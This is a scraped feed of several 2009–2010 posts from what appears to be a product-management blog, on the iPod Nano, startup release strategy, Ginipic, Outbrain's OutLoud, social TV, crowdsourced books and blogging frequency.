With the much rumored and insanely anticipated Apple iSlate, due to be announced later this month, being referred to as a potential “game changer,” as momentous as the original iPod and its big cousin the iPhone, I thought I’d take a look back at a post I wrote in September in which I called the new iPod Nano a game changer itself.

At the time, I hadn’t actually gotten my hands on one. That finally happened last week. And I’m sorry to report that my prediction now seems premature.

My enthusiasm for the Nano was that it was the absolute smallest, decent quality video camcorder on the market, and it had a built in iPod to boot (or maybe it’s the other way around). It would be a boon to bloggers and media publishers of all sizes, not to mention consumers shooting silly cat tricks, I wrote.

And indeed, that potential is readily apparent. I have a client that works with communities in far flung places such as India, China and Burma. Why not arm its constituents with Nanos to document lifecycle events and send them back to us to edit and post on YouTube or Facebook.

When I finally tried out the Nano itself – at a rock concert where I needed a clip to accompany an article I was writing – the Nano neatly delivered on its promise: the device is so tiny I was able to keep it stowed safely in my shirt pocket, and it warms up fast so I was ready at the beginning of each song to grab the shots I wanted. The video quality was entirely acceptable; the audio less so.

So what’s the problem? It doesn’t have a camera; it’s just video. That might seem a bit nit picky, but the market today is all about convergence – reducing the number of devices you need to carry. The iPhone does this perfectly: it packs a phone, camera, video recorder, MP3 player and web browser all-in-one shiny black package.

But the iPhone (like most smart phones) is relatively hefty. It doesn’t fit into a pocket, it’s too bulky to wear on an armband while exercising and, frankly, it does more – and costs more – than many people need.

The Nano has the price and form factor I want, but without a camera for stills, if I want to be ready at any time and any place to shoot a photo and a video, I have to carry both my Nano and my digital camera. My cell phone doesn’t take pictures at high enough quality to make it a worthy alternative.

Why didn’t Apple include a camera in the iPod Nano? Probably to prevent cannibalization of sales of its higher end i-products (although the official rumored reason is that they couldn’t get the optics small enough to work). Perhaps the camera will be a part of the package in the future – along with a tiny wireless receiver, now wouldn’t that be cool! – but before then, the business buzz will have already moved on to the iSlate as the next game changer.

————————

In case you were wondering how that video I shot at the rock concert came out, here’s a short clip I took with the iPod Nano. The audio is a bit muffled, but I think that’s more due to where we were sitting (in the front row, where the instrument amps were closer) than the iPod’s functionality.

]]> https://bluminteractivemedia.com/2010/01/why-the-ipod-nano-is-not-a-game-changer-after-all/feed/ 18 Challenging the “Release Fast and Iterate” Gospel https://bluminteractivemedia.com/2010/01/challenging-the-release-fast-and-iterate-gospel/ https://bluminteractivemedia.com/2010/01/challenging-the-release-fast-and-iterate-gospel/#comments Tue, 05 Jan 2010 14:49:29 +0000 https://bluminteractivemedia.com/?p=442

When I spoke with Amit Elisha of OutBrain a few weeks ago, we discussed the company’s software release strategy.

OutBrain operates under what’s considered the new Gospel of product development: get a basic version out there with a minimum number of features and maybe even a few known bugs, make it free, then let your users flood you with feedback so you can iterate and build your next version better.

Continue this process until you climb out of alpha into beta and eventually to a fully functional product (which, to follow Google’s prolonged beta label example, could take many years).

Jason Cohen

Jason Cohen

An interesting article by Jason Cohen, the founder of Smart Bear Software, on the On Startups blog challenges this methodology. Releasing too early and relying on the power of the crowd, he suggests, can potentially harm your reputation and potentially kill your product.

He uses the iPod as an example. Apple designed its game changing music device far away from the public eye. If it had been part of a release-and-iterate cycle, he says, could Apple possibly have gotten away with building a battery-powered device where you can’t change the battery! Or one without an FM radio (which was already included in many early iPod competitors – it’s finally been added to the new iPod Nano years later).

“Disruptive products by definition cannot be built by consensus,” he writes. “’’Design by committee’ is a sure-fire way to get mediocre design.”

Cohen presents additional points to back up his hypothesis.

  • Startups often invoke the 80/20 rule that says you can implement just 20% of your features because that’s what 80% of your users want anyway. But Cohen says that doesn’t apply the way you think it does. The truth is that 80% of your customers use a different 20% from each other. So you need to push out more features, not less, to satisfy a larger cross-section.
  • Twitter is often trotted out as a classic example of “get it out fast,” but it’s a bad one. While the service quickly gained a large and rabid following, it has been suffering from backend scalability problems ever since. Twitter has sufficient capital and some super-smart engineers who can work around the clock to fix what ails it, but your two-person startup may not be so lucky if you release before you’re ready.
  • Customers don’t actually know what they want. “They’re much better at describing what’s difficult in their life, what frustrates them, or what takes up a lot of their time,” Cohen writes. But did anyone ever say “gee, I wish that I could send a video ringtone to my friends” (this is an idea that only a couple of smart entrepreneurs could think up).

Over the last 20 years, I’ve built or been a part of a team building a number of products. When I was working at CD-ROM developer Mindscape, I got into a huge fight with my boss over when to release a product that I had been toiling over for the better part of a year. The company had sales orders from its distributors, but I knew the product was still buggy and wasn’t ready.

Even worse, this was in the pre-Internet days; once the CD was shipped, it would take a new budget allocation to fix it, which I knew would be hard to obtain. When I was essentially given a choice – ship the product or pack your bags – I opted for prudence.

More recently, though, I fell victim to my own emotional involvement with a product that would have done better to release early and iterate. I got so caught up in getting it right, I didn’t realize that the business model was wrong, something that would have become apparent if users had a chance to kick the tires.

Two other examples from opposite poles:

1) Craigslist – if ever there was a bottom up, build it fast and they will come approach to web development, Craigslist would be the poster child. Of course, Craigslist got stuck after the first round of iteration – the site hasn’t been functionally updated for years, but it works and no one’s complaining.

2) The Apple Newton – this is not so much an example of slapped together product development, but it nevertheless demonstrates how a bad start can sink a product. The world’s first PDA came out in the early 1990s. It was a revolutionary product but “the handwriting recognition sucked and there weren’t a lot of apps,” Cohen explains. The public’s response: “it doesn’t do a lot and what it does do doesn’t work well.” By the time Apple addressed its myriad problems, it was too late.

Ultimately, there’s no clear-cut approach. I tend to lean towards the “you’ve got only one chance to make a first impression” direction but, as a number of comments on Cohen’s blog post argued, not every company is Apple.

“They have the money and market control needed to focus on building a complete product at the expense of time to market,” writes Paul May. “Few startups have this luxury.”

What do you think? Which direction is more likely to lead to success…or kill a company? I’d love to hear from you in the comments to this post.

]]> https://bluminteractivemedia.com/2010/01/challenging-the-release-fast-and-iterate-gospel/feed/ 33 Ginipic: Image Search on Steroids https://bluminteractivemedia.com/2009/12/ginipic-image-search-on-steroids/ https://bluminteractivemedia.com/2009/12/ginipic-image-search-on-steroids/#comments Thu, 24 Dec 2009 07:26:39 +0000 https://bluminteractivemedia.com/?p=437

GinipicIt’s happened to all of us at least once or twice in our careers. We’re writing a school paper or updating a website and we need a photo or graphic image to illustrate a point.

That usually entails searching a number of different photo sharing sites such as Google Images, Flickr, TwitPic, PhotoBucket, and others. Once you’ve found the picture you want, you have to click through to see the full size image, right click to download it, then choose Import to paste it into your Word document. And that’s assuming you’ve received the copyright clearance to use it.

What if you could do all this in 2 steps? That’s the idea behind Ginipic, a small Israeli startup with a big idea. Enter a search term and the Ginipic application crawls 15 different web-based photo sharing application. The software then presents the results on a single screen.

That’s already a big improvement from Google’s image search, which only displays a maximum of 25 photos on a page, requiring users to click the “Next Page” button repeatedly.

Ginipic will even search your own computer.

Once you find the image you want, simply drag and drop it into the application you’re using – whether that’s Word, PowerPoint or an email program. The Ginipic application is designed to work “side by side” with other programs to help eliminate switching back and forth between screens.

Ginipic shows copyright details and a photo’s Creative Commons status to keep you from inadvertently infringing (a dollar sign and a large “Buy Now” button appear when an image isn’t free).

Other goodies include the ability to instantly share images on social networks, set an image as your desktop background, and save it to a built-in “lightbox” that contains only those pictures you’ve selected to view.

The service is the brainchild of three young Israeli entrepreneurs and childhood friends from Even Yehuda: Lior Weinstein, Noam Finger and Orr Sellah (who, not coincidentally, are also the only employees in the company). Ginipic has taken on no investment to date but is currently looking.

Ginipic is entirely free right now and, unlike other web services that pitch a paid premium version, the company’s business model is to cut “white label” deals that will give an existing photo sharing site Ginipic’s functionality but with the partner’s branding. Ginipic is also in talks with several advertising agencies to update their aging interfaces for image search.

CEO Weinstein told me that Ginipic is looking for deals in the $10-30,000 range rather than with big players who might pay in the hundreds of thousands of dollars. We asked him why. “We wanted to bring the product to market as fast as possible,” he said. “With a $100,000 deal, there are endless meetings. And for that price, a big company will always consider building it in-house. At $10,000, it’s not a problem.”

Weinstein said the idea for Ginipic actually came to him in a dream. “I was working on a big paper in a classical studies course” at Tel Aviv University, he said and needed pictures of ancient Greek and Roman statues.

Exhausted, he fell asleep one night and dreamed of dragging pictures directly from the photo sharing websites he visited into a Word document. Two weeks later, a mock up was done and the company was on the fast track to development.

Ginipic is not a web application but a download and it works on Windows only (bad news for all the creative types and increasing numbers of students who use Macs). Why the download? we asked Weinstein, aware that this is often a barrier to usability for many wary web denizens.

That was the only way to enable the drag and drop functionality. You can’t go direct from web to Word, nor can you search your own computer, Weinstein explained. Fortunately, the software itself is small – only 4 MB – making for a relatively painless installation.

I asked Weinstein about Ginipic’s product management process. There wasn’t much, he said. The team just jumped in and started coding. After about a month, “we did a proper product plan,” Weinstein said, with a feature roadmap and competitive analysis.

As with many self-funded startups, the “go for it” approach can be effective. Weinstein warned against “feature freeze” where you plan too much and never get the product out the door because there’s always one more feature to add.

Ginipic also used an interesting tool for soliciting customer feedback. UserVoice puts a small tab on the left side of every screen on the site. Clicking allows users to vote on which features they’d most like to see (a Mac version leads the list). The service is free for 100 votes per month. It ramps up rapidly from there to a max of $589/month for all the bells and whistles.

Weinstein said that after all the feedback was in, the team was pleased that there were no additional features they hadn’t originally thought of. UserVoice helped mainly in ranking what functionality should be rolled out first.

Ginipic is not without competitors. Meta-search services like Copernic have been around for years, and Microsoft Office’s Clip Art tool is already built into Word (“although no one uses it,” Weinstein mused). Other sites, such as CoolIris, are more about enjoying images online than searching them, Weinstein pointed out.

So far, in the 9 months since Ginipic launched, it’s signed up over 100,000 users “on $0 advertising,” Weinstein said. Approximately 25 percent of those are active users.

Among the services with which Ginipic works are DeviantArt, Flickr, Picasa, Google, Fotolia, Bing, PhotoBucket, SmugMug, Yahoo, Dreamstime and Crestock.

I use a Mac, so I personally won’t be able to give Ginipic a spin anytime soon but I’ll recommend it to my PC-using friends.

A version of this story originally appeared on Israel21c.

]]> https://bluminteractivemedia.com/2009/12/ginipic-image-search-on-steroids/feed/ 22 Twitter and the Tube: Social Media Meets Interactive TV https://bluminteractivemedia.com/2009/12/twitter-and-the-tube-social-media-meets-interactive-tv/ https://bluminteractivemedia.com/2009/12/twitter-and-the-tube-social-media-meets-interactive-tv/#comments Thu, 17 Dec 2009 11:46:27 +0000 https://bluminteractivemedia.com/?p=422

Television_remote_controlInteractive video has been one of my passions since I worked as a “multimedia producer” in the early 1990s creating CD-ROM titles in edutainment and healthcare. In 1994, I led a team that produced “How Multimedia Computers Work,” an immersive interactive environment that plunged viewers into a virtual 3D computer. We followed that up with “How Your Body Works.” Both were co-published in a book-CD package by Ziff-Davis Press.

In recent years, interactive video has been used very effectively for advertising and marketing. Carnival Cruise Lines employed it to help bring a cruise ship alive for would-be (and high-paying) passengers. Mars created an entire mini-commercial called “Get the Girl…An Interactive Love Story (Sort Of)” for its Twix brand where the viewer gets to choose what happens next. Even The New York Times got into the act with an interactive David Pogue sharing insights on consumer electronics.

But the Holy Grail for we interactive pioneers was always marrying it with broadcast television. It was the late 1980s, though, and technology never kept up with our creativity. Now, though, with the advent of social media, that day may have arrived. But with what consequences?

I wrote in my earlier post about Jeff Pulver’s “140 Characters Conference” which paraded a veritable cavalcade of social media luminaries on stage to talk about all things Twitter and Facebook. One of the panels at the event was on “social TV.”

Veteran Israeli media consultant Dror Gill described how TV and Twitter are already mashing up. A growing community of users are tweeting while they watch the tube, he explained, sending their comments, theories and criticisms into the social ether for others who are following the same program at the same time to reply to or re-tweet.

Gill called this phenomena 2-screen interactive TV (there are cable operators that have already integrated similar social media tricks into a single screen).

The experience, Gill explained, in some ways recreates a bit of what was for me an integral part of my childhood: sitting together as a family, laughing at dead parrots and silly walks, or cringing at another one of Mary Tyler Moore’s insecure faux-pas’s.

These days, it’s rare for members of a family to even find time to eat dinner as a cohesive unit. Twittering together, apparently, is the next best thing…even if your fellow schmoozers are on opposite coasts (or even different continents).

Conference host Pulver related his own social TV experience. A big fan of the NBC show Heroes, one evening, Pulver found himself away from the TV trolling the aisles for canned corn or some other delicacy in his local supermarket.

Distraught over missing his favorite guilty pleasure, he pulled out his cell phone and was able to follow the show by scrolling through the real-time tweets that neatly summarized the main plot turns.

How Pulver got his shopping done I don’t know…I also have to wonder why the one time founder of VoIP giant Vonage didn’t just TiVo the show, or at least watch it later on Hulu. But that wouldn’t have made for such an illustrative story.

Despite the fact that a number of the participants at the conference praised social media for making the post-modern world a little less lonely, the entire experience seems to me to be exactly the opposite. Where once we gathered in a shared space, we now sit alone opposite our 42-inch plasma screens tapping away to strangers thousands of miles away.

But for advertisers, this real time web can perhaps be seen as a hopeful trend. Broadcast television has been inching inexorably towards time shifting. The number of viewers watching a show at the hour it’s actually aired has been steadily declining in an online world where you can instantly stream that same program on any number of sites or – heaven forbid – download it for free.

The social media interactive experience, by contrast, requires participants to watch live. Tape delay ruins the whole thing. Moreover, not only can’t live viewers fast forward through the commercials, TV Twitterers may be less likely to jump up at a commercial at all. With all the real time excitement, a social media conversation may actually evolve about the ad itself. That puts the onus on the advertiser to make sure that what they’ve created can withstand the withering comments of a live Twitterverse.

The game for advertisers, as a result, gets even more complicated than it already is in a globally connected world. Companies must make sure they have assigned a staff person to monitor Twitter and other social media channels whenever their ads play in primetime. Because, when the masses won’t put down their keyboards even during the once sacred passive TV experience, the necessity to remain vigilant, to jump to attention and enact damage control if the need arises, becomes an integral part of the job.

It’s been said before by techno-luminaries far more prolific than me, but social media can no longer be seen as a “nice to have.” This makes it at once both terrifying and a terrific opportunity. But it’s one that must not be ignored.

]]> https://bluminteractivemedia.com/2009/12/twitter-and-the-tube-social-media-meets-interactive-tv/feed/ 97 Writing and the Future of the Book https://bluminteractivemedia.com/2009/12/writing-and-the-future-of-the-book/ https://bluminteractivemedia.com/2009/12/writing-and-the-future-of-the-book/#comments Wed, 09 Dec 2009 09:32:26 +0000 https://bluminteractivemedia.com/?p=405

Kindle 2I’ve written before about how I believe the physical nature of books will change…much sooner than most of us can imagine. Within 10 years, 20 years tops, there will be virtually no print books being published – we’ll be consuming content exclusively on portable reading devices. Newspapers will fall even sooner.

Today’s text readers include the Amazon Kindle, Barnes & Noble’s Nook, The Plastic Logic Que and, of course, the iPhone and its various cell phone based derivatives. Future products – perhaps even the long rumored Apple “iPad” – will undoubtedly be much easier on the eyes and intuitive to use than what’s currently available.

But how about the creation of books? Bob Stein of the Institute of the Future of the Book suggests that the same phenomena of “crowdsourcing” that forms the backbone of content creation on social media – from blogs to Facebook – and that has made Wikipedia the world’s largest and most popular reference source, will be applied next to novels, biographies and all sorts of non-fiction.

The initial reaction of traditional authors – myself included – has been a quick harrumph. You can’t displace a well-trained and experienced writer with the power of isolated individuals across the Internet.

Or can you?

Stein gives the example of a well-known biographer who receives a $2 million advance, goes off for 10 years to research and write, and returns with his latest best-seller. Crowdsource me? says the writer. Not going to happen.

But at the same time, there is undoubtedly a newly minted PhD in Creative Writing who grew up on Facebook who has no problem writing in public and letting her thousands of friends and followers contribute. It may seem improbable today, but then so does the total demise of a hard cover book you can hold in your hand.

You can already see companies exploring this space. WeBook is probably the best known. Founded by Israeli serial entrepreneur Itai Kohavi and backed by some of the biggest names in venture capital, the site allows anyone to start a book topic and solicit submissions from other WeBook members who can also collaboratively edit the book in real time for all the world to see. WeBook runs periodic votes where members determine which books WeBook should actually publish (gasp) in print.

The startup Vook is more traditional in that most of what this company publishes is written by a single author, but it breaks the traditional mold by including video as an integral part of the storytelling process. “Vooks,” of course, are digital only.

Group written books are actually not that new. Take a look at the Talmud, the massive work of Jewish law, folklore and history. The original source material for the Talmud was oral, written by multiple authors and handed down from generation to generation until it was finally written down.

Legally, publishing crowdsourced books can be pretty tricky. The Internet culture of free sharing makes it tough to solicit help on a book and then charge for it. For example, I have a personal crowdsourcing project called SiddurWiki and I’m still trying to figure out the lawyerly language so that content on the site can be widely distributed electronically at no cost, while at the same time, be set up so that I can also sell it and make a profit.

So what does an established, traditional author (or an electronic publisher of any type, for that matter) do in such turbulent times? I think that individual authors have to begin thinking of themselves as hybrid writers and managers. It’s not enough to lock yourself in a room with just a typewriter (boy, that really dates me!) Rather you have to view your work as a “product” that needs leadership.

Writers of the future will be need to be cheerleaders, evangelists and social media experts, as well as dedicated craftsmen.

Ultimately, writers won’t go the way of the dinosaur. Indeed they’ll be as valuable as ever: a single person will still need to put it all together. But the process that leads up to that is about to change forever.

]]> https://bluminteractivemedia.com/2009/12/writing-and-the-future-of-the-book/feed/ 7 140 Characters Comes to Tel Aviv https://bluminteractivemedia.com/2009/12/140-characters-comes-to-tel-aviv/ https://bluminteractivemedia.com/2009/12/140-characters-comes-to-tel-aviv/#comments Mon, 07 Dec 2009 11:49:14 +0000 https://bluminteractivemedia.com/?p=428

Jeff Pulver

Jeff Pulver in Tel Aviv

Jeff Pulver is a galavanting kind of guy. The one time founder of voice-over-IP telephony company Vonage, Pulver has in recent years traveled the globe hosting hi-tech networking “breakfasts” that attract hundreds of attendees

On Sunday, Pulver was back in town with a combined breakfast and conference focused on “the state of now.”

Dubbed the “140 Characters Conference” (that’s the number of characters you’re allowed to type into the Twitter “What’s happening?” box), some 250 social media “characters” gathered at Tel Aviv’s Afeka College of Engineering to listen attentively to a whopping four dozen presenters who spoke either in panel discussions or alone in 10 minute increments  (a large clock counted down the minutes and, other than a few misbehavers, the time was scrupulously observed).

Among the presenters were Alon Nir, the entrepreneur behind “TweetYourPrayers” which allows petitioners to tweet notes that Nir physically places in the cracks of the Western Wall. Nir started the project as a hobby. By the summer, he had thousands of notes and had to enlist an army of volunteers (recruited via Twitter of course) to roll the print outs and cart them to Jerusalem. Find him on Twitter at @thekotel.

A highlight for Israeli music fans was the appearance on stage of rockers Yoni Bloch and Ivri Lider who talked about how they use Twitter to get closer to their fans. Bloch, a self-confessed nerd, initially found fame by posting his songs to an Israeli MySpace-clone and was flabbergasted when, several years ago – long before the advent of Twitter – he sold out a live show just by announcing it online.

Comedians Charley Warady and Benji Lovitt talked about how they use social media to try out punch lines for their jokes (“can you be funny in 140 characters?” asked one audience member).

On a more serious note, David Saranga discussed how the Israeli consulate in New York took to Twitter to counter negative reports coming out of Gaza during January’s Operation Cast Lead. He also pointed out one of the more effective campaigns to reposition Israel in the mind of the world: the 2007 infamous “Girls of the IDF” bikini photo spread in Maxim magazine.

The strangest use of Twitter discussed? Simultaneous tweeting while watching TV. While I find it hard to understand how one can actually enjoy a program while tapping away on a Blackberry or iPhone keyboard, veteran media consultant Dror Gill suggested that interactive media can actually restore some of the social cohesion that’s been lost in the modern world where families rarely sit down together to watch the contemporary equivalent of All in the Family.

Twittering away, he said, is akin to kibbutzing together in the family room…even if your fellow schmoozers are thousands of miles away.

To back up that point of global interconnectedness, host Pulver announced at the day’s conclusion that 6,464 people from around the world had tuned in to watch the conference live via the Internet and that for much of the day, this intimate little get together, tucked away in an off the beaten track corner of Tel Aviv, had been ranked in Twitter’s Top 10 “trending topics.”

See for yourself. Search for #140conf on Twitter.

This article originally appeared on the Israelity blog.

]]> https://bluminteractivemedia.com/2009/12/140-characters-comes-to-tel-aviv/feed/ 121 $10 for Crying Out Loud https://bluminteractivemedia.com/2009/11/10-for-crying-out-loud/ https://bluminteractivemedia.com/2009/11/10-for-crying-out-loud/#comments Mon, 23 Nov 2009 16:24:20 +0000 https://bluminteractivemedia.com/?p=320

StarsOutbrain is a company I like a lot. It has a seemingly simple product that provides some very useful functionality: content rating and recommendations for blogs.

Follow the easy installation instructions and Outbrain will allow your readers to give your latest post a 1-5 score. Then, based on Outbrain’s massive database of reader tastes and web content, the Outbrain widget that displays on your blog will point visitors to related articles that Outbrain has determined they might find interesting.

Yes, it directs visitors away from your blog, but it also has the potential to turn your site a mini-destination site. (You can see Outbrain at work on this blog – scroll to the end of any post.)

When the company raised a sizable second round of financing earlier this year, a lot of brows were furrowed: $12 million for a blog plug-in? Investors must have had a sneak preview of the company’s latest feature, launched earlier this month: an enhancement that allows publishers to pay for premium placement of their content.

The new goodie is called OutLoud and it costs $10 per URL. Featured content appears at the top of the Outbrain recommendations list and is clearly labeled. Without OutLoud, Outbrain uses its own algorithms to suggest content.

OutLoud can be used in two ways. A publisher can let Outbrain control which sponsored recommendations appear; Outbrain will then split revenue with the blog publisher.

Alternatively, a publisher can set up the OutLoud service to work as an internal referral engine: only URLs from the publisher will appear. This can be used to generate more traffic within a single property or on a network of sites owned by the same publisher.

At first glance, $10 might seem like a no brainer for a small to medium sized online publisher, but it quickly adds up. And the $10 fee per URL is only for a month. You have to pay up if you want the sponsored link to keep going.

Outbrain says that the service is aimed at a number of target clients:

  • Marketers who want to drive word-of-mouth by amplifying positive reviews about their company.
  • Individual bloggers who want to promote their most brilliant posts.
  • Public relations professionals looking for new ways to distribute releases
  • Social media gurus who can push out articles from a corporate blog to drive traffic.

With such a cool product, I wondered what product management is like at Outbrain. Amit Elisha, who directs the process, says that the days of long and involved specs with accompanying Photoshop images are long gone. “We were work on a very fast 3-4 week release cycle,” Elisha said. “We prefer UI (user interface) mock ups over technical documentation, which we keep very brief.”

Elisha’s tool of choice is Balsamiq Mockups which makes it incredibly easy to create a wireframe. I tried it out and it lives up to the hype with a truly drag and drop interface. Thanks Amit for the tip!

Elisha has been with the company since August of last year and moved from Israel, where Outbrain started, to New York for the job. I asked him my favorite question about what parts of product management could be outsourced. None, he said. Outsourced people don’t have the same stake in the company. “We hire people with a certain DNA,” he added.

For publishers looking to generate additional revenue, OutLoud certainly looks promising, although it will take some time before the service has the critical mass to add up to more than just some extra change. On the other hand, it’s free to install and Outbrain doesn’t add its own branding or links back to the Outbrain site.

Outbrain was founded by Yaron Galai and Ori Lahav. The 25-person company has headquarters in New York with R&D in Israel. The latest round was led by Carmel Ventures with previous investors Gemini, Lightspeed and GlenRock Israel filling out the round. Total raised to date: just over $18 million.

]]> https://bluminteractivemedia.com/2009/11/10-for-crying-out-loud/feed/ 23 The Serendipity Effect in Social Media https://bluminteractivemedia.com/2009/11/the-serendipty-effect-in-social-media/ https://bluminteractivemedia.com/2009/11/the-serendipty-effect-in-social-media/#comments Mon, 09 Nov 2009 11:53:00 +0000 https://bluminteractivemedia.com/?p=310

Image from Mary Lindsay's blog

Image from Mary Lindsay's blog

When the web first started becoming paramount in how people consumed news, there was a lot written about the dangers of information “narrowcasting” and how it would result in a populace that knew little about what happening outside their own limited sphere of interest. Traditional print newspapers and magazines were lauded because by their very nature they enable readers to serendipitously stumble across news they might not have searched for on Google.

An interesting interview on a recent episode of NPR’s On the Media with Ethan Zuckerman of Harvard’s Berkman Center, and Clive Thompson, a writer for Wired and The New York Times Magazine, suggested that – surprisingly – social media could be an answer.

Thompson cited the research presented in Malcolm Gladwell’s “The Tipping Point” about how many people someone can actually have as friends or colleagues. The number, says Gladwell, is 150; human beings can’t really keep track of more than that. But on social media, that number jumps to the hundreds (and in some cases, particularly on Twitter, the thousands).

I have over 600 Facebook “friends.” Do I know all of them well? Certainly not. But something interesting happens when it comes to learning about news. The more “friends” we have, the more likely it is we’ll learn something about a topic we didn’t expect to and likely wouldn’t have searched for either.

And if enough of our friends share or re-tweet on a particular subject, we will come to think this is “important” (even if it’s really about some ludicrous boy in a balloon). More seriously, the tweets emanating from Iran during the recent mini-revolution definitely opened many new eyes.

Admittedly, most of our friends are “like us” in terms of educational backgrounds and socio-economic standards. But some of those friends may have a wider circle that includes one or two more exotic colleagues. And I have not been terribly discriminating about who I “friend” – when I have a question that I need answering, I then have a wider circle to whom I can publish.

The issue of serendipity in social media has come up recently with one of my clients. The client has a particular organizational focus, and most of what we post relates to that topic. But sometimes we also publish links to articles off-topic which we feel will be interesting to our readers. It’s a way of keeping the site timely and relevant. But it also has the effect of populating our fans’ activity streams with news they might not have seen otherwise.

So, if part of the product management services you provide your clients includes preparing and executing on a social media “content plan,” keep in mind the serendipity effect. It can help establish you more as a destination site within the social media universe…and it’s good for the world too.

]]> https://bluminteractivemedia.com/2009/11/the-serendipty-effect-in-social-media/feed/ 5 “Good Enough” Product Management https://bluminteractivemedia.com/2009/10/good-enough-product-management/ https://bluminteractivemedia.com/2009/10/good-enough-product-management/#comments Thu, 29 Oct 2009 12:49:49 +0000 https://bluminteractivemedia.com/?p=303

Flip MinoWhy has the Flip video camera (and now its key competitor the new iPod Nano) been such as a roaring success? An article in the September issue of Wired suggests it’s part of a technology trend to build “good enough” products.

In terms of growth (if not total numbers), the little Flip is beating the pants off full-featured digital camcorders from Sony, Canon and the like (sales at Flip are up 200% this year even in the recession). The video on the Flip is indisputably crappy; the camera itself has none of the bells and whistles of its bigger cousins (there isn’t even a proper optical zoom); even the view screen is tiny.

But, as Wired senior editor Robert Capps writes, the camera does the minimum of what consumers want: it fits in a pocket and it quickly uploads videos to YouTube. And at under $200, it’s “good enough.”

The Wired article presents a number of other examples, from “eLawyering” to reduced expectations from military hardware. The most familiar, though, is the de-evolution of music quality.

Even today, old-fashioned records are still considered to deliver the highest-fidelity sound. Of course, by the end of the 80s, these were nearly entirely replaced by CDs, which purists derided for years.

But the real change is the MP3 which is clearly inferior in sound quality. But, again, it’s “good enough.” Music lovers can store thousands of songs on a mobile device and easily share or download the small files.

Even more: in an informal poll conducted over the last six years by a Stanford University professor, young people are increasingly stating that MP3s sound “better” than CDs, because they’ve become accustomed to the distortion found in compressed audio. If that isn’t “good enough,” I don’t know what is.

So what does this have to do with product management, the theme of this blog? The same trend in end user products has crept into the product planning and strategy phase. It used to be that you needed significant capital to properly launch a startup (we raised just under $1 million in the first round for Neta4 in 1998 – and that was considered on the low side).

It’s much easier today for a couple of talented engineers to cobble together a working beta (and isn’t everything beta for years nowadays?) quickly and with little or no investment. When you’re coding in hurry, there’s no time for product management. You post it and then crowd source changes in near real time.

The problem is that this approach has led to a delge of half-baked sites and services that nevertheless get covered on TechCrunch and other review sites only to eventually enter the inglorious “dead pool.”

There are two schools of thought here: virtually ship it “good enough” and iterate, or get it right before launching, the thought being the old adage that you only have one chance to make a first impression.

It may seem that I’m arguing for the latter approach, but truthfully, they both can work (and they both can fail). For agile companies in a hurry, I’d recommend that as soon as they do receive funding (and after all, other than a few viral Facebook, Twitter and iPhone apps, it’s pretty hard to make it to the big time without investor backing), they back up and start the product management tasks they didn’t have time for the first time out – planning, strategy, specifications, prioritization, roadmap, business intelligence, competitive analysis and more – with an aim towards hiring a full time product manager as soon as possible.

There are some great companies out there that have taken unorthodox ways on the path towards success. “Good enough” technology is here to stay. That doesn’t mean that product management necessarily has to follow suit.

]]> https://bluminteractivemedia.com/2009/10/good-enough-product-management/feed/ 3 7 Reasons Why You Don’t Need to Blog Every Day (and Maybe You Shouldn’t) https://bluminteractivemedia.com/2009/10/7-reasons-why-you-dont-need-to-blog-every-day-and-maybe-you-shouldnt/ https://bluminteractivemedia.com/2009/10/7-reasons-why-you-dont-need-to-blog-every-day-and-maybe-you-shouldnt/#comments Wed, 14 Oct 2009 14:04:40 +0000 https://bluminteractivemedia.com/?p=295

Keyboard 2I’ve always felt that I’ve been an under-performer when it comes to updating my blog. Unlike some of my more prolific colleagues, I’m in general  a once a week poster, both on this blog and my personal site. I like to take my time, collate references, and create a thoughtful 800-word essay. I suppose it comes from being a professional writer (you can see my portfolio here).

Now it turns out, I’m not such a bad boy after all. I recently stumbled across this article on Leo Babauta’s Write to Done blog. A guest writer (with the improbable name Bamboo Forest) suggests that it’s not posting frequency but the quality of the content that’s key. “People don’t line up to subscribe to a blog (just) because it’s spitting out three posts a day,” Forest says.

Here are 7 reasons why less frequent posting is not only OK, but may be better for your blog’s traffic. These are important lessons for publishers and media companies that maintain a blog but don’t have the staff (or available hours) to keep up a daily routine.

1. More posts mean you can’t weed out the duds.

When you’re rapidly posting several times a day, not all your posts are going to be top notch. Some will be mediocre at best. And that not-so-stellar article is going to be at the top of your blog, at least for a while.

2. Your blog is judged by the front page.

If you post too often, it won’t be long before some of your posts drop off the front page of your blog, relegated to the “previous posts” button or even into the monthly archive. Not a lot of people go trawling through back articles. So you want your best posts to be at the top, to give your readers an incentive to keep coming back.

3. Posts improve with time.

Whenever I write – whether it’s for this blog or a document for a client – I never submit it the moment I’m done. I’ll put it in the digital drawer for several hours, maybe even wait until the morning to finish it. I’ll always find something to change or add to make the piece that much more compelling. Don’t your readers deserve the same attention to detail?

4. People read many blogs.

The people who follow your blog are also perusing many others. If they use an RSS reader, it’s even worse. If you post too frequently, your busy readers may miss some of your posts – perhaps even your best ones. Give your fans the time to consume all of your great writing.

5. Less frequency generates more comments.

The longer a post stays on your front page, the more comments it can collect. A post without comments can be damning – it says to readers that no one is really visiting, so why should I?

6. Open up your blog to guest posts.

Guest posts on your blog let you fill in gaps when you get too busy (hopefully with paying clients) to blog that day or week, and the cross-linking is a great way to build traffic. If you’re doing all of the posting yourself, several times a day, there’s not much room for the out of towners.

7. Readers do not unsubscribe from too few posts.

Your followers won’t unsubscribe if you only post once a week. But if you publish uninspiring content, you’ll drive away readers you could have otherwise retained.

If you’re maintaining a blog, check out the Write to Done blog. Bamboo Forest blogs at Pun Intended.

]]> https://bluminteractivemedia.com/2009/10/7-reasons-why-you-dont-need-to-blog-every-day-and-maybe-you-shouldnt/feed/ 30 Addicted to Email (and Why That’s Important for Marketers) https://bluminteractivemedia.com/2009/10/addicted-to-email-and-why-thats-important-for-marketers/ https://bluminteractivemedia.com/2009/10/addicted-to-email-and-why-thats-important-for-marketers/#comments Fri, 09 Oct 2009 11:04:40 +0000 https://bluminteractivemedia.com/?p=201

Matt Richtel 2We all feel like we’re addicted to email sometimes. Now along comes someone to tell us why.

New York Times reporter Matt Richtel, interviewed on the NPR program On The Media, explained that in psychological terms, there is something called “intermittent reinforcement” – “that’s this idea that if you put a rat in a device where a food pellet only comes out of a hole periodically, the rat’s going to be checking that hold all the time because it never knows when that food is available.”

The same thing happens with email, Richtel said. “Most of the stuff we get is plainly unimportant. But occasionally, something really important comes along. So what does that do? It randomly reinforces us to be checking all the time.”

In other words, we are not that much more evolved than the common rodent…at least when it comes to checking our iPhones ten times an hour. And it’s not just email – Facebook status updates, SMS, chats – they’re all part of an addiction that, apparently, gets physical as well.

